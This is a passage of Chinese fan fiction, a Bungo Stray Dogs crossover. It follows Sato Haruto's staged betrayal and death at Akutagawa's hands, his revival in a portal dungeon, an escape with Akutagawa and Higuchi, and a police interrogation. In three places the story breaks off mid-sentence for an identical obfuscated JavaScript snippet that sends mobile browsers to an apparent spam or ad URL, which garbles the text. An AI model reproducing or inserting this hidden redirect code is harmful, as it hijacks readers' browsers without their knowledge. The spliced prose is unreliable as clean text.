芥川龙之介冷笑,他现在难以控制脸上的表情。只好咬紧牙关,抬头看着面前的两人,牙齿摩擦发出酸涩的声音,“...在下会将你们...碎尸万段。” 战斗一触即发,猛烈的血腥和子弹交织成炼狱的箴言,仇恨是这场战斗的唯一主题。 异能者之间的战斗不是普通人可以贸然参与的,为了牵制住精神系异能者艾莎,港口mafia必须投入更多的人参与其中。然而,由于港口mafia惨遭围攻,现在的人数也占据劣势,在猛烈的火力下,大部队不得不节节败退。 芥川龙之介与瑞克的战斗情况亦不容乐观。 他们两度交手,芥川龙之介都是败者。瑞克作为欧洲顶尖的异能者,目前的实力并不是刚加入港口mafia的芥川能轻易打败的。 这一次,身体羸弱的少年果不其然又倒在了仇敌的手下,鲜血几乎染脏了他的整张脸。瑞克抓起他的头发,像拎小鸡仔似的轻而易举,将漆黑的枪口抵在了他的下颚。 “你已经捡过好几条命了。”他笑道,“夜袭你家的那次,还有宝石商店里的那次——Haruto(阳翔)都要求我们不能对你和你妹妹出手,谢天谢地,现在他终于决定把你这个拖油瓶扔掉了。” “至于港口mafia,我们就收下了。” 就在瑞克即将扣动扳机的那一刻,一枚子弹突然击穿了他的手腕,他下意识地一脱力,枪也掉在了地上。 芥川龙之介抓准时机,飞快地翻身挣开了对方的束缚,靠着罗生门拉开距离,一边咳嗽着,一边抹去自己嘴角的鲜血,目光快速搜寻着可能藏匿在附近的影子。 ——刚刚那枚子弹是?! 与此同时,瑞克按住了失血的手腕,骂骂咧咧地按下耳麦,怒吼道:“他OO的(欧洲脏话),有伏击!艾莎,速战速决,Haruto(阳翔)那家伙肯定有问题!” 然而,这次他却没有再听见意料之中的回话。 另一边的战斗,不知道从什么时候已然停歇了。 “如果你是想找艾莎小姐,那很遗憾。”一道瑞克从未听过的声音突然响起。身披西装外套的太宰治慢悠悠地走近战场,“事到如今,败局已定,你还要挣扎吗?” 芥川龙之介愣住,喃喃道:“太宰先生...为什么会出现在这里?” 他的身后跟着人数庞大的援军,装备精良;在芥川他们即将全军覆没,敌人的防备心最为地下的时候,早已等在外面的港口mafia的援军冲进了发电站,几乎瞬间就逆转了战局。 本想靠着精神系异能逃过一劫的艾莎,却好死不死地遇上了能使一切异能无效化的太宰治,在完全不对等的战力面前,再怎么反抗都是枉然的——为了活命,她主动说出了瑞克的位置。 “原来如此...原来如此!”瑞克的瞳孔极度收缩,怆然笑道,“你们和Haruto(阳翔)那家伙一起设置了圈套...” 不等他说完,连续不断的子弹就已经穿过了他的身体。芥川龙之介低下头,看着流到自己脚下的血液,第一次觉得内心如此迷茫、空虚,他想让瑞克把最后那一句话全部说出来,想要听到能证明佐藤阳翔没有背叛组织的线索,但他还是失败了。 太宰治捏住他的肩膀,强迫芥川龙之介把视线放回自己的身上,低声道:“你的任务又一次失败了呢,芥川。” “......” 芥川龙之介张了张嘴,过了好一会儿才找回自己的声音,“是,十分抱歉...” “但是你还有一个将功补过的机会。” 太宰治松开手,鸢色的眼睛里没有丝毫笑意,也没有任何恻隐之心,这名天生的mafia在面对这样的现实时,保持着一贯的冷静和残忍,“我们现在还需要处理掉一个人。” ——佐藤阳翔。 艾莎和瑞克必须拿下。同样的,为了给一切都画下句号,港口mafia也需要有一个叛徒来承担所有的责任,顺便把真相都埋进土里——身负账本的佐藤阳翔就是那粒当仁不让的棋子。 在森鸥外的计划中,佐藤阳翔的牺牲是不可避免的。 “在这场信任的博弈里,先一步心软的人必死无疑。” ——从一开始就心软的那个人,正是佐藤阳翔。 即便自己的行为不被人理解,要遭受所有人厌弃,佐藤阳翔也没有真的想将芥川龙之介置于死地。 沉寂许久的耳麦终于滋啦响起。 佐藤阳翔说:“我在天台,来见我吧,龙之介。” 84 芥川龙之介推开天台大门的时候,佐藤阳翔正坐在高高的护栏上。他完全放松地撑住自己的身体,抬起头看着今夜终于从乌云中露面的月亮,仿佛什么都没发生过似的,招呼他过来。 “......” 原本心中还燃烧着仇恨的芥川龙之介,却在见到他的那一瞬间,仿佛被抽走了全身的力气。他只能远远地站在门口,凝视着眼前的这名叛徒、骗子——同时也是他喜欢的人。 这段时间他们已然习惯相处。芥川银把佐藤阳翔当作家里的一份子,几乎不再有初见时的警惕与隔阂。 由于佐藤阳翔的话很多,所以三人在家的时候,再没有以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083144|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的沉寂,反而充满了热闹与温馨;他会给芥川兄妹吹头发,有时候也偷偷给银看各种各样的狗血小说,被芥川龙之介发现后,就捂住被打的地方贱贱地喊痛...... 芥川龙之介惶恐地发现,和佐藤阳翔相关的温情瞬间实在是太多了。 现在究竟恨不恨他?芥川龙之介自己也无法判断。 “你站在那里当什么雕像?”佐藤阳翔好笑地找他招手,“快点过来,好歹让我死前和你聊聊天吧。” 死,这是一个很沉重的话题。 芥川龙之介没有忘记自己此行的目的,太宰治要求他拿回帐本,杀掉叛徒,为一切都画上圆满的句号;但他同时也对佐藤阳翔的身份迷茫着:如果他真的背叛了港口mafia,为什么要向瑞克开枪,为什么还主动让自己过来? 他明明很清楚等在前路的,只有死亡的命运。 “...为什么?”芥川龙之介问。 “嗯?你说的是哪件事?” “你应该很清楚,与港口mafia作对会是什么下场。”他第一次如此艰难地开口,“明知前路只有死亡,你也要这么做的原因是什么?” 佐藤阳翔安静了一瞬。 “因为我希望最后是你来动手。”他说,“你还记得昨天晚上你对我说的话吗?——你说,在你杀死我之前,没有人能夺走我的性命。” 佐藤阳翔没有为自己的背叛狡辩,也没有告诉他,自己一开始是为了保住芥川兄妹的性命才选择成为卧底。 他知道,在自己“死后”,芥川龙之介会成长为一名强大的异能者,不需要依赖任何人,也不需要由任何人来赋予他生存的意义。 自己的行为确实太自以为是了。佐藤阳翔没有想到,向没有品尝过幸福的孩子肆意赋予温暖,会导致什么样的结果——他一旦离开芥川兄妹,反而会给他们造成比从前还要强烈的痛苦和负担。 既然早就决心背叛,为什么一开始还要靠近? 事到如今,佐藤阳翔只能对他们说:“对不起。” 芥川龙之介当然不是想听他说这句话。他愤怒地冲上前,揪住对方的衣领,举起的拳头攥紧了半晌,最后还是没有落在佐藤阳翔的脸上。 佐藤阳翔把自己的手枪塞进他的手里,凝视着少年的眼睛,一字一句地说:“听好了,龙之介。我是出卖组织的叛徒,为了给自己留出一条后路,我拿走了账本,想要向警方匿名检举港口mafia。” “闭嘴!” 佐藤阳翔却置若罔闻:“你从头到尾都受到了我的蒙骗,对我的卧底行为毫不知情。我在这场袭击战斗中被你找到,你最终击毙了我,成功拿回了我藏在总控室内的账本,成为了清剿叛徒的英雄。” “你给我闭嘴!” 芥川龙之介几乎是在用尽全身的力气发出怒吼。他想把手中的枪扔到一旁,但颤抖的手却被佐藤阳翔用力握紧,将枪口移到了自己的胸前。 “这是最后一句话了。” 佐藤阳翔低下头,额头和芥川龙之介的轻轻触碰到一起,他闭上了眼睛,“如果不知道那是不是爱的话,龙之介,你就把它看成恨吧——无论你怎么恨我,我都不会有任何怨言;因为...” 佐藤阳翔无声地对他做了一个口型。 芥川龙之介瞳孔急缩,呼吸瞬间一窒。 下一刻,一道沉重的枪声划破了夜空。 坐在天台栏杆上的少年,胸口被子弹完整贯穿,身体也犹如坠落的流星,从天台下猛地坠落下去。芥川龙之介下意识地想要抓住掌心最后的一点温暖,但它最终还是从他的手中溜走了。 仿佛从一开始就从未来过。 47.第四十五章 85 失去意识前的最后一秒,佐藤阳翔的视野再次被刺目的红光填满。无数【Error(执行错误)】的弹窗铺满了他的视线。佐藤阳翔没能完成系统为他布下的卧底任务,反而在关键时刻帮助了芥川龙之介,警告预示的声音振得他几乎耳鸣。 他感觉到自己像是沉入了海底,耳边的声音越来越安静,前所未有的宁静包围了他的身体。这是一种非常不真切的感受,但佐藤阳翔却很清楚,这是自己即将回到现实的征兆。 “你还挺不怕死的。” 昏沉间,那名浑身飘动着二进制数据流的【佐藤阳翔】再一次出现在了他的面前,用手指轻轻点着佐藤阳翔的额头,“算起来,这已经是我们第三次见面了吧?” 除了梦中,【佐藤阳翔】似乎只会出现在他死之后,态度是一贯的烦人高傲,但双方都已经开始对这种会晤习以为常。 “恭喜,现在你又死了一次,这次想起来点东西了吗?” 系统——卧底失败——自杀——【失忆症】。 这已经是一条很明晰的线索。 佐藤阳翔勉力撑开眼皮:“仗助说得没错,我的记忆确实有问题,估计很大程度上和那个烦人系统有关——刚刚的那些经历,其实才是真正的过去吧?” 他身上的伤疤,都与本次受伤的地方巧妙重合了;他的记忆都与实际发生的事存在一定出入,最直观的一件事就是,【系统】相关的事宜从佐藤阳翔的记忆中消失了,仿佛从未存在过一般。 取而代之的,是有些潦草、但又不会引起大脑反思的捏造记忆。 “你还不算太笨。”数据体嗤笑一声,“你有读过列夫·托尔斯泰的《战争与和平》吗?‘一切只是每个重大的、有机的、自发的事件得以实现的各种条件的偶合‘,你曾坚信不疑的过去,正是在【祂】巧妙的设计中凑成的。” 祂篡改佐藤阳翔的记忆,最终目的只有一个——就是把【系统】的存在,从他的大脑里抹除。 “所以,那个【祂】究竟是谁?” 佐藤阳翔心中的疑虑进一步扩大了。他原本以为【系统】才是缔造一切的幕后黑手,但通过这次的经历,他开始发现一些端倪: 系统虽然会给自己派发任务,但更多时间都类似于辅助的功能,上至让自己死而复生,下至给自己提供狗血小说,实际上并没有对佐藤阳翔的性命造成什么真实危害。 “这一点...就要靠你自己确认了。” 数据体【佐藤阳翔】摊开手,一副无可奉告的样子,“但你已经恢复了这个世界的记忆,就说明【祂】的障眼法正在一点点失效——你未来只会记起更多东西,同样的,你也要承担起和【祂】抗争的责任。” “横滨的未来,全都攥在你的手里。” 伴随着最后一声哀长的叹息,佐藤阳翔觉得眼皮一跳,像是被人从迷茫的深海里一下子捞出来了似的,一时之间让他的大脑有些恍惚。 ——他再次回到了白茧之中。 与上次空空荡荡的环境不同,佐藤阳翔这次醒来的时候,发现周围都长满了某种特殊的晶体。晶体通体呈宝蓝色,色泽莹润,似乎充满了某种力量,单看一眼就知道,这绝不是正常存在于世的东西。 在白茧之中,樋口一叶就倒在不远处。她身上并没有明显外伤,表情安详,仿佛睡着了;佐藤阳翔站起来,先是测量了一下他们的脉搏,确认他们还维持着最基本的生命体征,然后把视线转向了依旧没能醒来的芥川龙之介。 他这回怎么昏迷了这么久? 佐藤阳翔半跪在一旁,刚将手伸向芥川龙之介的脖子,试图感受他的脉搏,却突然被一只手稳稳握住。 他有些震惊地看着突然睁开眼睛的芥川,还不等问上一句情况,手腕就被人用力扯了过去,整个人都被他一下子拽进了怀里,鼻子正巧撞上对方的胸口,疼得佐藤阳翔差点跳起来。 “你搞什么...” “闭嘴。” 青年的声音很沙哑。他低下头,像抱着失而复得的宝物,紧紧地搂着对方的身体,丝毫不在乎自己是不是把对方勒得喘不过气——这一瞬间,佐藤阳翔突然产生了一种看见十五岁的芥川的错觉。 芥川龙之介如此用力地拥住他,仿佛在感受怀中之人的每一次呼吸起伏。佐藤阳翔看出他现在思绪翻涌,于是很慷慨地原谅了他差点把自己勒死的行为,试图出声安抚他的情绪。 “没事的,没事的。”佐藤阳翔拍拍他的肩膀,“如果你陷入了过去的某种情绪,我很愿意听你说说心里话——手先稍微松一下,我有点...喘不过气来。” 芥川龙之介抬起漆黑的眼睛,没有松手,死死地盯着眼前的人,突然没头没尾地问:“...那天,为什么希望最后动手的人是在下?” “哈?你怎么突然问起那个?” “你为什么要在最后对在下说那句话?” “忘记了。”佐藤阳翔干巴巴地笑了笑,总不能说是自己一时情绪上头吧?这样未免也太不负责任了,“那么早的事,就让它全都过去吧...” ——但其实,佐藤阳翔的这个回答也比“情绪上头”好不到哪去。 芥川龙之介极其认真的眼神让他止住了话头。佐藤阳翔忽然意识到,也许回到过去,重新经历一遍过去的人不止自己一人——只不过芥川龙之介直到最后才意识到,那不过是过去的缩影。 从前的经历理所应当地会让芥川龙之介觉得很不爽,似乎他们之间曾经发生的一切都是佐藤阳翔设下的圈套,用来诱骗芥川龙之介付出自己想要的情感。 佐藤阳翔心虚:“怎...怎么了吗,龙之介?” “...你这个骗子。”芥川龙之介喃喃道,“果然,在下还是想杀了你——” 但不等他说完,佐藤阳翔突然听见身后传来了一道超过一百二十分贝的尖叫声。 不知何时苏醒过来的樋口一叶,瞳孔地震地指着被芥川龙之介抱在怀里的佐藤阳翔,几乎被吓得舌头打结,声带颤抖着道:“你...你...你...” “你都对芥川前辈做了什么啊!!!!” 86 白茧内的三个人,已经全部苏醒。 佐藤阳翔和芥川龙之介分立于两侧,一个欲盖弥彰地咳嗽观察四周,一个故作认真地观察着白茧里的奇特矿石。樋口一叶还处于震惊当中,整个人颓废如同败犬,呆呆地跪在原地,表情看起来仿佛撞鬼了。 她双手撑地,口中念念有词:“怎么会这样芥川前辈难道有喜欢的人吗我之前完全没有发现而且对方还是个男人又是港口mafia的处置对象尽管他确实长得还可以吧但为什么芥川前辈会抱他我也想被芥川前辈抱在怀里这么说会不会太大声了但是好羡慕好羡慕好羡慕好羡慕...” 在樋口一叶自暴自弃的时候,佐藤阳翔把注意力都转移到了眼前的矿石上。 “喂!” 佐藤阳翔敲敲矿石,发现这声音听起来既流畅又悦耳,“话说,你们有见过这种矿石吗?不知道为什么,我感觉它很眼熟...” 芥川龙之介双手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087434|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 环胸:“你在讲什么蠢话?还在做梦吗?” 好吧,看来自己的感受确实和其他人不太一样。 和东方仗助当初勇闯洞窟类似,佐藤阳翔在见到这些矿石的时候,同样产生了强烈的即视感。这种直觉说不定也和篡改自己记忆的【祂】相关,佐藤阳翔不得不谨慎对待。 他喊来芥川龙之介,利用【罗生门】砍下了矿石的一部分,打算等出去后把矿石也带走。 “那么,接下来应该怎么办?”佐藤阳翔环顾了一下周围,“现在这里只有我们三个人,外面的那个大家伙,可不是我们能对付得了的。” 芥川龙之介哼笑,微微颔首道:“比起这个,你更应该思考的是你的处境吧。” “你现在依旧是港口mafia的敌人。” ——一切都源于突然发布的黑市悬赏令。 佐藤阳翔着实没有想到,自己有朝一日会因为黑市的悬赏令被悬赏百亿美金。这样的高昂的利益,当然会引起各方势力关注,怪不得港口mafia要这么火急火燎地派人把自己带回去。 “所以到底是谁给我下的悬赏令啊?”佐藤阳翔叹气,“我都叛逃这么多年了,一直勤勤恳恳当三好市民,不犯法不杀人,悬赏我对他来说有什么特别的价值吗?” 樋口一叶立即拔出腰后的手枪,对准佐藤阳翔:“我和芥川前辈的任务就是把你带回去,如果有必要的话,我们就当场将你击杀在这里——” “仅凭你们两个,有办法对付外面的那家伙吗?”佐藤阳翔撑住脑袋,丝毫不害怕地望向芥川龙之介,“龙之介,你有绝对把握带着她离开这里吗?” “一介叛徒...居...居然敢直呼芥川前辈的名讳!” 樋口一叶大怒,刚想抬枪射击,就被芥川龙之介制止了:“别白费力气了,仅凭你是没办法杀死他的。” “芥川前辈?!” “我们要从这里出去,离不开他的异能。”芥川龙之介淡淡道,“这家伙是空间系异能者。” “看来你们现在的想法达成一致了呢。”佐藤阳翔笑了笑,“先想想要如何从这里脱身吧。” 和上次在中华街被拉入的那个传送口不一样,这次的白茧和地底的怪物,已经远远超出了佐藤阳翔能把握处理的能力范围——人遇到自己能力值之外的事物,如果只想着不管不顾地进攻,那最终的下场一定很惨。 佐藤阳翔和芥川龙之介先前之所以会深入到这里,一半是测试这个传送口内魔兽的实力,一半是准备寻找樋口一叶的下落。 事实也很明确了,单单是过去的那段幻影,就足矣把他们耗死在这里。尽管时间流速有所不同,但三个人现在的身体精神状况都不算很好,他们既没有食物,也无法摄入水分,如果再不离开,生还的概率只会越来越渺茫。 “我倾向于暂时退出。” 佐藤阳翔说,“仅凭我们三个,就不要再去招惹地底的那个家伙了——早点从传送口里离开才是正道。如果每进入一枚白茧,我们都要陷入过去的幻影,那我们大概会在这里待到死吧。” 眼下最好的选择,就是及时止损,尽早离开。 当然了,传送口如果没有被攻克,也就不会消失——它对横滨的威胁依旧存在,谁也不知道放任不管的话,某一天会从里面钻出什么东西。 但那都不是他们现在需要考虑的事。 芥川龙之介和樋口一叶对这个决定没有异议——毕竟现在话语权最大的人,就是拥有空间系异能的佐藤阳翔,他才是带着大家逃出去的关键。 48.第四十六章 87 佐藤阳翔针对现状,简单策划了“逃离传送口计划”,全篇贯彻一个“逃”字方针——在离开白茧后,无论面对什么攻击,他们都不能贸然回击;并且在逃出传送口前,他们两方需要达成和平相处的口头协定。 前者是为了防止被怪物挑衅的芥川龙之介打架上头,后者是为了防止忠心耿耿的樋口一叶向佐藤阳翔突放冷箭。 佐藤阳翔早已熟知警察在发现传送口后的基本处理原则;等他们一离开传送口,面对的一定是一大堆装备精良的警察,以及一排充满威胁力的枪口。 身份清清白白的佐藤阳翔倒是不在意外面有没有警察围堵,但归属港口mafia的芥川龙之介和樋口一叶要是正面撞上了警方,和自投罗网也没什么区别了——芥川龙之介的身上还背着军警的通缉令呢。 “所以,要不要和我做个交易?” 佐藤阳翔提议,“我可以帮助你们从警方眼皮子底下逃跑,但你们要告诉我,我的黑市悬赏雇主是谁。” “开什么玩笑,区区叛徒也敢和港口mafia谈条件...”樋口一叶咬牙,身体微微前倾,手看起来随时会扣下扳机,显然是一种非常警惕的姿态,“就算你以前和芥川前辈的关系再好,前辈也不可能会答应你的!” “可以,在下答应你。” “...前辈?!!” 芥川龙之介淡淡地瞥了她一眼,漆黑的眼睛里没有什么额外的情绪,说明他并不是出于一时冲动才做下如此决定。 “聪明人的决定。”佐藤阳翔露出了拐骗他人时,常常勾起的微笑,“那么,樋口小姐的决定是什么呢?你打算拿一个无关紧要的小小情报来交换,还是想什么都没干成,扔掉下一次再借机追杀我的机会,就这么落进警方手里?” 樋口一叶瞬间噎住,握着枪柄的手也不自觉地收紧。 她很清楚,如果光靠自己,根本无法轻易杀死眼前之人——对方是空间系异能者,也是带自己和芥川前辈离开传送口的关键;即便自己临时开枪,对方也大概率能凭借异能逃脱。 在这里和佐藤阳翔贸然闹翻,实在不是明智之举。 即便樋口一叶早已做好为了港口mafia献出生命的打算,但这也得建立在她的牺牲确实有效的基础上才行。 “...我接受。”她垂下眼眸,将手枪塞回后腰。 “非常好。”佐藤阳翔继续说,“以防万一,我希望你们先把雇主的名字告诉我。” “你?!” 这不是蹬鼻子上脸吗?! 对于一向把握主动权,自尊心非常高的港口mafia来说,简直就是奇耻大辱! 她深吸一口气,反复告诉自己: 没关系,芥川前辈是不可能接受这种不平等契约的。 樋口一叶刚产生这种念头,就听见芥川龙之介言简意赅地报出了一串名字:“弗朗西斯·司各特·菲茨杰拉德。” 樋口一叶:“......” 诶?!就这么说出去吗?! 她现在才发现,自己完全看不懂芥川前辈。 佐藤阳翔和芥川龙之介以前,究竟曾经建立过何等坚固的信任,芥川龙之介才会一再对一名没有信誉可言的叛徒如此纵容... 加上刚刚她一时之间还以为是幻觉的拥抱,难道芥川前辈和这个叛徒之间,真的有一些旁人无法理解的感情和往事?! 不不不,不可能! 她用力拍了拍自己的脸颊,坚定认为,刚刚的拥抱一定是自己的幻觉! 芥川前辈和叛徒有一腿什么的,怎么可能呢! “你最好别耍花招。”芥川龙之介活动了一下手腕,漆黑的【罗生门】从他的背后钻出,犹如张开爪牙的鬼魅,“如果你胆敢食言,在下会亲手终结你的性命。” “我知道。”佐藤阳翔说,“我们先从这里出去。” 外面除了无数白茧外,唯一有威胁的东西,就只有在地下不定时钻出的巨型怪物。他们是一整辆车直接闯进来的,传送口应该还在最初的白茧之外。 佐藤阳翔话音刚落,芥川龙之介就非常自然地上前搂住了他的腰。 樋口一叶再次如遭雷劈:“芥...芥芥芥川前辈!” 果然,芥川前辈和这个叛徒一定有一腿吧! 但她还没有从震惊的情绪中脱离出来,芥川龙之介就和拎小鸡似的,把她也拎了起来。樋口一叶的大脑CPU再次过载,脸瞬间以肉眼可见的速度开始变红。 芥川前辈抱我了?! 死而无憾了! 但不等她沉浸于天上掉馅饼的狂喜中,【罗生门】就将他们包裹得严严实实。佐藤阳翔的身上泛起异能发动的淡蓝色光点,金色的眼眸恍如鎏金,在黑暗中格外引人注目。 ——她差点忘记了,佐藤阳翔的异能一次只能移动一个单位。 下一秒,他们就出现在了白茧之外。 樋口一叶从来没见过这样的景色——几乎一眼望不到头的巨大地下城中,星罗密布地散落着无数白茧,像极了某种动物诞生的温床和巢穴。 她觉得自己好像《格列佛游记》里误入大人国的格列佛,心中产生出莫名的恐惧,对比这些巨物,人类实在太脆弱,也太渺小了。 芥川龙之介收回【罗生门】,同时松开手,目光转向身后不远处,单拳虚握,抵在唇边咳嗽了一声:“传送口就在前方。” 这一路上都进行得很顺利,那个沉寂在地下的大家伙,似乎正好处于休眠之中。他们回到最初的位置,果不其然看见了正敞开的传送口。 “叛徒,别忘了你的承诺。”芥川龙之介用手触碰了一下传送口的蓝色光晕——万幸,传送口的甬道现在依旧是允许人类通过的状态。 然而,就在佐藤阳翔即将踏出传送口的那一瞬间,他的心脏突然像是被什么人紧紧攥住了似的,猛地疼痛了一下。 一道熟悉的声音呼唤道:【“哥”。】 又是那个人——和东方仗助在地下洞窟时,在幻觉中见到的那名少年。但这一次,佐藤阳翔的应激反应远比上回更容易忍受,他用力捂住刺痛的胸口,下意识去寻找周围一切可能出现的少年幻影。 刚刚是幻听吗? 不,佐藤阳翔在听见这个声音的一瞬间,就认出了它的主人——那名总是挣扎在地下城的死线上,和自己相依为命的底层少年。 “喂,你怎么了?”樋口一叶发现佐藤阳翔的神情异常,警觉道,“你不会想反悔吧?!” 佐藤阳翔沉默半晌,慢慢地松开了攥紧的手指,深呼一口气道:“没什么,我们出去吧。” 他两次进入传送口,两次都听见了那个少年的声音。 佐藤阳翔心中的迷茫并未得到解答,反而在一次次的惊险历程中被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091487|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不断放大——不过,他现在几乎可以肯定,自己一定还有什么残缺的记忆,被【祂】刻意抹除了;而这些疑虑,恐怕只能通过不断进入传送口,才能得到真正解答。 自己未来,恐怕得想方设法多进入传送口才行。 88 美国,某私人别墅。 一名衣着光鲜齐整的金发男子,缓缓从别墅公馆的阴影之中走了出来。他手插口袋,左手无名指处的婚戒如同星辰般闪耀。 他静静地伫立在别墅前庭,抬头凝望着漫天星光。直到一名戴着眼镜,抱着大沓资料的女人推开门急急冲过来,他才不徐不疾地将视线从星空中移开。 “什么事,路易莎?”男人泰然自若地问。 “弗...弗朗西斯先生,日本那边有回信了。”路易莎急急地喘着气,一边推了推眼镜,一边将刚洗出来的照片递到了男人手中,“那个人,他又从传送口里活着出来了!” 照片所显示的地点,正是横滨元町商业街附近的一座桥上。一名穿着皱巴巴衬衫的黑发少年独自站在传送口前,接受着警察的盘问;但他仿佛突然注意到了隐藏摄像头的存在,在摄像头捕捉人像的那一刻,用那双罕见的金色眼睛冷冷睨视了过来。 “与他同时离开传送口的还有两个人,他们来自港口mafia,但在警察即将上前盘问的时候,两个人都突然消失了——这名叫做佐藤阳翔的任务目标帮助了他们逃跑。但佐藤阳翔现在隶属的武装侦探社,正和港口mafia尖锐对立...” 弗朗西斯哼笑:“武装侦探社?看来我们很走运,书的【路标】和他是一伙的,正好方便我们行动。” 他撕掉手里的照片,呢喃道:“无论是【路标】还是他,我都会不择手段地得到——在这个世界上,还有什么比拯救家人更值得我牺牲一切?” “一切都是为了泽尔达,还有我的女儿。”他用力攥紧照片,一阵金色的光芒闪动,弗朗西斯松开手,手中照片竟硬生生地化为齑粉,从他的指间漏出。 “我要得到【书】,毁掉传送口,拯救我的女儿和妻子。” 传送口,世界上最新出现的危险源头。 它的首次出现,是在几个月前的日本横滨——尔后,便开始如同病毒般,呈辐射状向外扩散。不出几天的功夫,世界各地都开始出现了这种奇怪的蓝色通道,传送口内有无数魔物盘踞,如果非异能者误入了传送口,那结局就只有死路一条。 谁也不知道传送口是怎么出现的,更不知道传送口中的怪物究竟从何而来。 目前能从危险的传送口中多次抽身而出的,只有各国最顶尖的异能者。而撇去这些精英,有一个人的名字引起了弗朗西斯的注意——佐藤阳翔,从世界首个传送口中逃逸的幸存者之一。 但弗朗西斯更在意的,是他死而复生的神奇经历。 弗朗西斯耗费了大量财力,才勉强查清这个人的过去:佐藤阳翔早年在港口mafia手下做事,后因卧底行为遭组织清算,但他却并未死去;半个月前,他被送入了横滨当地的医院,胸口被一股奇特力量完全贯穿,在医生确认其已死亡后,佐藤阳翔又莫名其妙地复生了。 佐藤阳翔就像一名被死亡遗忘在角落的家伙,无论遇到了何等困难的险境,他都有办法逃离。 弗朗西斯的眼中寒光闪烁: ——世界上真的存在不会死去的人类吗? 49.第四十七章 89 “我现在的状态非常良好,既没有受到精神伤害,也没有遭到什么拷问和酷刑,只是在离开游戏厅的时候被港口mafia的人注射了肌肉麻醉剂而已。” “我在离开传送口后,港口mafia的人就趁乱逃走了。总的来说,我才是受害者——我又没有警官证,让港口通缉人员逃离的责任应该在你们警察身上才对。” 漆黑的审问室内,佐藤阳翔作为地下传送口的幸存人员之一,正在接受警方的盘问。但显然,询问一名骗子并没能给他们的工作带来什么实质性进展,更何况佐藤阳翔其实应该算作帮他逃跑他的同伙,所以问询工作一直都在原地兜着圈子。 “他们怎么可能一瞬间就凭空蒸发了?!” “谁知道呢,说不定这两名港口mafia是由水蒸气组成的。” 这不是在一本正经地胡说八道吗?! 负责讯问的警察忍了又忍,但又不甘心自己的三等功就这么轻而易举地溜走了,只好把矛头再次指向眼前这名神色恹恹,胡扯着“芥川龙之介和水蒸气之间的相似性”的佐藤阳翔:“你别老想着糊弄过去!这次的事件非同小可,我们需要尽可能多的资料,帮助他们逃跑你可是要负责任的!” “你有证据吗?更何况,我已经把知道的都告诉你们了,地下城有一只巨大的怪物。”佐藤阳翔耸耸肩,他垂下眼睫,“那里到处都是星罗密布的白茧,我们觉得那里很危险,就从传送口中退出来了。” “身为异能者,你们没有和魔物对抗吗?”正在用电脑录入对话内容的异能特务科职员抬头,“你们从传送口就这么逃出来,说明这个通道连接着横滨和地下城——魔物很可能某天也会出现在横滨。” 佐藤阳翔闻言,不由得嗤笑了一声。他坐正懒散的身体,手指轻轻在桌上叩击着,用有些轻蔑的眼神扫了一眼围在自己身前的人们:“所以呢?异能者没能解决魔物,就要说这一切都是我们这些倒霉蛋的错了?我们的命就不是命了?” 警员敲桌:“注意你的措辞,不要给我们泼脏水!” “喂,这也太过分了,他们把阳翔当犯人吗?” 审讯室外,东方仗助已经忍不住捏起了拳头,看起来马上就要暴起把这里砸得稀巴烂了。东方仗助如果发火,在场可没有人能阻止他,中岛敦只好眼疾手快地拦在他身前,一边摆手一边安抚道:“东方君,请冷静一点...” 佐藤阳翔自从离开传送口后,就被警方和异能特务科的人控制了起来,连和同伴见上一面的机会都没有。 他消失在传送口整整一天,后来又带着港口mafia的人毫发无损地逃了出来——现在传送口肆虐,给横滨带来的影响很大,佐藤阳翔本来就一直处在这场异变的风暴中心,受到这样并不公正的问询是迟早的事。 佐藤阳翔:“我不想和你们讨论政治正确的话题。如果没有别的话要问了,请放我出去。我现在又渴又饿,要是在警局里突然昏倒了,我就只能起诉你们刑讯逼供了。” 异能特务科负责问询的职员推了推眼镜:“佐藤先生,我们并不是想给你压力,一切工作都是为了确保横滨和大众的安全。为了把你身上的这些谜团弄清楚,我想你得在官方的监控下暂时生活一段时间,还要接受一些科研请求...” 门在这时还是啪地一下被人踹开了。 但闯入现场的并不是东方仗助,而是一直以来都在观察室中聆听对话的太宰治。他单手插兜,慢悠悠地走进了审讯人员的视线,露出了一个还算讲理的笑容,率先招呼道:“哎呀,上午好。” 问询的警员一见到来人是武装侦探社的社员,表情就变得有些不太友善:“喂,你闯进审讯现场想干什么?” “我是来带我们同事回去的。”太宰治的嘴角现在虽然上扬着温和的弧度,但转向警员的眼睛却充满着冰冷的警告意味,“毕竟佐藤君不是犯人,如果让外界的民众知道政府在逼问从传送口中活着出来的人,影响应该很不好吧?” 